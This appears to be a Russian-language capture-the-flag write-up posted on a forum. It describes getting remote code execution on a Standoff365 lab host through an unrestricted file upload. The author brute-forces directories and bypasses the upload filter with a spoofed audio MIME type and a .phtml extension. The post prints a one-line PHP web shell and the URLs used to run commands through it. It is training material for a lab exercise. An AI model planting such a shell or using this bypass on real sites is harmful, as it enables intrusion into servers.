Writeup [web-6] Удаленное выполнение кода (RCE) на узле smashmusic.edu.stf (standoff365)

hernidla

New member
16.02.2026
1
5
Это мой первый Write up, надеюсь будет полезным для кого-нибудь!

Описание
Получите RCE на узле smashmusic.edu.stf (10.124.1.241) посредством Unrestricted File Upload.
Для получения флага выполните скрипт /home/rceflag.

1. Первым делом брутим директории. Я использую словарь SecLists/Discovery/Web-Content/common.txt
Сортируем по длине ответа и видим интересные ссылки
Pasted image 20260217120901.webp


2. В /uploads видим загруженные файлы.
В /secret файлы с расширением php - ссылки на страницы с последующими редиректами.
Но прежде чем произошел редирект, если перехватить запрос можно увидеть в ответе функционал. Например, в /secret/uploadMusic.php видим форму на загрузку файла
Pasted image 20260217121714.webp

3. Подсказка 2 гласит:
Изучите JWT и уязвимость в его секрете:

Анализируйте содержимое cookie, чтобы найти JWT (JSON Web Token) и попытайтесь его расшифровать.
Попробуйте брутфорсить секрет JWT для получения доступа к административным функциям.
Но я слишком ленивая и решила попробовать загрузить файл без взлома JWT, а напрямую через POST ./uploadMusic.php

Имитирую загрузку файла в burp test-file.php с классическим payload-ом
Код:
<?php system($_GET['cmd']); ?>
Pasted image 20260217122558.webp


Получаю Token is invalid. Expired tokenAccess deniedapplication/x-phpOnly types allowed: audio/mpeg, audio/mpeg3, audio/basic. Max file size 8 MB. Extensions not allowed: php, cgi, pl, etc.

Пробуем с разрешенными типами (и сразу пробую двойное расширение .php.mpeg):
Pasted image 20260217122843.webp


Файл загружен, он появился в
Но выполнить скрипт php не выходит, поэтому пробуем другое расширение. Есть разные варианты, например
Код:
.phtml
.pht
.phar

Пробуем - получилось через .phtml (filename="test-file.phtml")
Pasted image 20260217123505.webp

Тестируем /uploads/test-file.phtml?cmd=ls
и видим результат ls, значит можно пробовать запускать /home/rceflag

/uploads/test-file.phtml?cmd=%20/home/rceflag

И видим наш долгожданный флаг без геморроя с JWT.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab